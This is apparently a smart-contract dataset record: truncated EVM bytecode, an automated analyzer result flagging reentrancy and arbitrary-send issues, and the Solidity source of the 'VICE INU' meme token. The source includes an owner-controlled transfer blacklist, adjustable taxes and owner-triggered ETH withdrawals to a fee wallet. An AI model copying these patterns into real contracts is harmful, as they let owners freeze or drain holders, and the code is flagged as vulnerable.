5b505050506040513d601f19601f820116820180604052508101906109969190611c79565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109de57600080fd5b505afa1580156109f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a169190611c79565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a7657600080fd5b505af1158015610a8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aae9190611c79565b600f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03928316179055600e541663f305d7194730610af6816105df565b600080610b0b6000546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b8657600080fd5b505af1158015610b9a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bbf9190611e6d565b5050600f80546722b1c8c1227a00006010557fffffffffffffffff0000ff00ffffffffffffffffffffffffffffffffffffffff81167701010001000000000000000000000000000000000000000017909155600e546040517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60248201529116915063095ea7b390604401602060405180830381600087803b158015610c9757600080fd5b505af1158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d19190611e39565b6000546001600160a01b03163314610d295760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104c3565b60008111610d795760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104c3565b610d976064610d91683635c9adc5dea000008461178c565b90611827565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610e4d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b038216610ec95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104c3565b6001600160a01b0382166110225760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b600081116110985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f000000000000000000000000000000000000000000000060648201526084016104c3565b6000546001600160a01b038481169116148015906110c457506000546001600160a01b03838116911614155b1561137e57600f5477010000000000000000000000000000000000000000000000900460ff16156111cb576001600160a01b038316301480159061111157506001600160a01b0382163014155b801561112b5750600e546001600160a01b03848116911614155b80156111455750600e546001600160a01b03838116911614155b156111cb57600e546001600160a01b0316336001600160a01b0316148061117f5750600f546001600160a01b0316336001600160a01b0316145b6111cb5760405162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c7900000000000000000000000000000060448201526064016104c3565b6010548111156111da57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff1615801561121c57506001600160a01b0382166000908152600a602052604090205460ff16155b61122557600080fd5b600f546001600160a01b0384811691161480156112505750600e546001600160a01b03838116911614155b801561127557506001600160a01b03821660009081526005602052604090205460ff16155b801561129e5750600f5477010000000000000000000000000000000000000000000000900460ff165b156112ec576001600160a01b0382166000908152600b602052604090205442116112c757600080fd5b6112d242603c611f7b565b6001600160a01b0383166000908152600b60205260409020555b60006112f7306105df565b600f549091507501000000000000000000000000000000000000000000900460ff161580156113345750600f546001600160a01b03858116911614155b801561135c5750600f54760100000000000000000000000000000000000000000000900460ff165b1561137c5761136a8161153b565b47801561137a5761137a47611415565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806113c057506001600160a01b03831660009081526005602052604090205460ff165b156113c9575060005b6113d584848484611869565b50505050565b600081848411156113ff5760405162461bcd60e51b81526004016104c39190611e9a565b50600061140c8486612009565b95945050505050565b600c546001600160a01b03166108fc611434600a610d9185600461178c565b6040518115909202916000818181858888f1935050505015801561145c573d6000803e3d6000fd5b50600d546001600160a01b03166108fc61147c600a610d9185600661178c565b6040518115909202916000818181858888f193505050501580156107d1573d6000803e3d6000fd5b600060065482111561151e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201527f65666c656374696f6e730000000000000000000000000000000000000000000060648201526084016104c3565b6000611528611895565b90506115348382611827565b9392505050565b600f80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16750100000000000000000000000000000000000000000017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115d7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561164457600080fd5b505afa158015611658573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167c9190611c79565b816001815181106116b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546116dc9130911684610dd2565b600e546040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063791ac9479061172e908590600090869030904290600401611f0b565b600060405180830381600087803b15801561174857600080fd5b505af115801561175c573d6000803e3d6000fd5b5050600f80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b60008261179b575060006103fe565b60006117a78385611fcc565b9050826117b48583611f93565b146115345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f770000000000000000000000000000000000000000000000000000000000000060648201526084016104c3565b600061153483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118b8565b80611876576118766118e6565b611881848484611909565b806113d5576113d56005600855600a600955565b60008060006118a2611a00565b90925090506118b18282611827565b9250505090565b600081836118d95760405162461bcd60e51b81526004016104c39190611e9a565b50600061140c8486611f93565b6008541580156118f65750600954155b156118fd57565b60006008819055600955565b60008060008060008061191b87611a42565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061194d9087611a9f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197c9086611ae1565b6001600160a01b03891660009081526002602052604090205561199e81611b40565b6119a88483611b8a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119ed91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611a1c8282611827565b821015611a3957505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a5f8a600854600954611bae565b9250925092506000611a6f611895565b90506000806000611a828e878787611bfd565b919e509c509a509598509396509194505050505091939550919395565b600061153483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113db565b600080611aee8385611f7b565b9050838110156115345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b6000611b4a611895565b90506000611b58838361178c565b30600090815260026020526040902054909150611b759082611ae1565b30600090815260026020526040902055505050565b600654611b979083611a9f565b600655600754611ba79082611ae1565b6007555050565b6000808080611bc26064610d91898961178c565b90506000611bd56064610d918a8961178c565b90506000611bed82611be78b86611a9f565b90611a9f565b9992985090965090945050505050565b6000808080611c0c888661178c565b90506000611c1a888761178c565b90506000611c28888861178c565b90506000611c3a82611be78686611a9f565b939b939a50919850919650505050505050565b8035611c58816120b7565b919050565b600060208284031215611c6e578081fd5b8135611534816120b7565b600060208284031215611c8a578081fd5b8151611534816120b7565b60008060408385031215611ca7578081fd5b8235611cb2816120b7565b91506020830135611cc2816120b7565b809150509250929050565b600080600060608486031215611ce1578081fd5b8335611cec816120b7565b92506020840135611cfc816120b7565b929592945050506040919091013590565b60008060408385031215611d1f578182fd5b8235611d2a816120b7565b946020939093013593505050565b60006020808385031215611d4a578182fd5b823567ffffffffffffffff80821115611d61578384fd5b818501915085601f830112611d74578384fd5b813581811115611d8657611d86612088565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715611dc957611dc9612088565b604052828152858101935084860182860187018a1015611de7578788fd5b8795505b83861015611e1057611dfc81611c4d565b855260019590950194938601938601611deb565b5098975050505050505050565b600060208284031215611e2e578081fd5b8135611534816120cc565b600060208284031215611e4a578081fd5b8151611534816120cc565b600060208284031215611e66578081fd5b5035919050565b600080600060608486031215611e81578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611ec657858101830151858201604001528201611eaa565b81811115611ed75783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f5a5784516001600160a01b031683529383019391830191600101611f35565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f8e57611f8e612059565b500190565b600082611fc7577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561200457612004612059565b500290565b60008282101561201b5761201b612059565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561205257612052612059565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6001600160a01b03811681146105dc57600080fd5b80151581146105dc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220060eb69a61ba47f27d9a27f679a0327d75b5e35e109f029d2bc6c5b012e2efb464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,503 |
0x67dc31d7b462cdf809d0ecf946adaffd3c1fce76
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
/*
$VICE INU
Childhood Token
Tg: https://t.me/viceinu
Website: www.viceinu.com/
Twitter: https://twitter.com/Viceinu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract viceinulaunch is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "VICE INU";
string private constant _symbol = "VICE INU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x06E82F238e853e50d79f737d3F506FB1E07E15fA);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 25) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 25) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461015c5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b806323b872dd116100f257806323b872dd14610212578063273123b714610232578063313ce567146102525780636fc3eaec1461026e57806370a082311461028357600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019c57806318160ddd146101cc5780631bbae6e0146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611847565b6103e5565b005b34801561016857600080fd5b5060408051808201825260088152675649434520494e5560c01b6020820152905161019391906118c4565b60405180910390f35b3480156101a857600080fd5b506101bc6101b7366004611755565b610436565b6040519015158152602001610193565b3480156101d857600080fd5b50683635c9adc5dea000005b604051908152602001610193565b3480156101fe57600080fd5b5061015a61020d36600461187f565b61044d565b34801561021e57600080fd5b506101bc61022d366004611715565b610490565b34801561023e57600080fd5b5061015a61024d3660046116a5565b6104f9565b34801561025e57600080fd5b5060405160098152602001610193565b34801561027a57600080fd5b5061015a610544565b34801561028f57600080fd5b506101e461029e3660046116a5565b610578565b3480156102af57600080fd5b5061015a61059a565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102ec57600080fd5b5061015a61060e565b34801561030157600080fd5b506101bc610310366004611755565b61084d565b34801561032157600080fd5b5061015a610330366004611780565b61085a565b34801561034157600080fd5b5061015a6108fe565b34801561035657600080fd5b5061015a61093e565b34801561036b57600080fd5b5061015a61037a36600461187f565b610b06565b34801561038b57600080fd5b5061015a61039a36600461187f565b610b3e565b3480156103ab57600080fd5b506101e46103ba3660046116dd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f90611917565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610443338484610b76565b5060015b92915050565b6000546001600160a01b031633146104775760405162461bcd60e51b815260040161040f90611917565b678ac7230489e8000081111561048d5760108190555b50565b600061049d848484610c9a565b6104ef84336104ea85604051806060016040528060288152602001611a95602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f91565b610b76565b5060019392505050565b6000546001600160a01b031633146105235760405162461bcd60e51b815260040161040f90611917565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161040f90611917565b4761048d81610fcb565b6001600160a01b03811660009081526002602052604081205461044790611005565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161040f90611917565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161040f90611917565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a91906116c1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077257600080fd5b505afa158015610786573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa91906116c1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906116c1565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610443338484610c9a565b6000546001600160a01b031633146108845760405162461bcd60e51b815260040161040f90611917565b60005b81518110156108fa576001600660008484815181106108b657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f281611a2a565b915050610887565b5050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161040f90611917565b600061093330610578565b905061048d81611089565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161040f90611917565b600e546109899030906001600160a01b0316683635c9adc5dea00000610b76565b600e546001600160a01b031663f305d71947306109a581610578565b6000806109ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a569190611897565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ace57600080fd5b505af1158015610ae2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d9190611863565b6000546001600160a01b03163314610b305760405162461bcd60e51b815260040161040f90611917565b601981101561048d57600b55565b6000546001600160a01b03163314610b685760405162461bcd60e51b815260040161040f90611917565b601981101561048d57600c55565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610dc25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040f565b6001600160a01b03831660009081526006602052604090205460ff1615610de857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2a57506001600160a01b03821660009081526005602052604090205460ff16155b15610f81576000600955600c54600a55600f546001600160a01b038481169116148015610e655750600e546001600160a01b03838116911614155b8015610e8a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9f5750600f54600160b81b900460ff165b15610eb357601054811115610eb357600080fd5b600f546001600160a01b038381169116148015610ede5750600e546001600160a01b03848116911614155b8015610f0357506001600160a01b03831660009081526005602052604090205460ff16155b15610f14576000600955600b54600a555b6000610f1f30610578565b600f54909150600160a81b900460ff16158015610f4a5750600f546001600160a01b03858116911614155b8015610f5f5750600f54600160b01b900460ff165b15610f7f57610f6d81611089565b478015610f7d57610f7d47610fcb565b505b505b610f8c83838361122e565b505050565b60008184841115610fb55760405162461bcd60e51b815260040161040f91906118c4565b506000610fc28486611a13565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fa573d6000803e3d6000fd5b600060075482111561106c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040f565b6000611076611239565b9050611082838261125c565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110df57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113357600080fd5b505afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b91906116c1565b8160018151811061118c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b29130911684610b76565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111eb90859060009086903090429060040161194c565b600060405180830381600087803b15801561120557600080fd5b505af1158015611219573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8c83838361129e565b6000806000611246611395565b9092509050611255828261125c565b9250505090565b600061108283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d7565b6000806000806000806112b087611405565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e29087611462565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131190866114a4565b6001600160a01b03891660009081526002602052604090205561133381611503565b61133d848361154d565b876001600160a01b0316896001600160a01b03167fddf252ad1be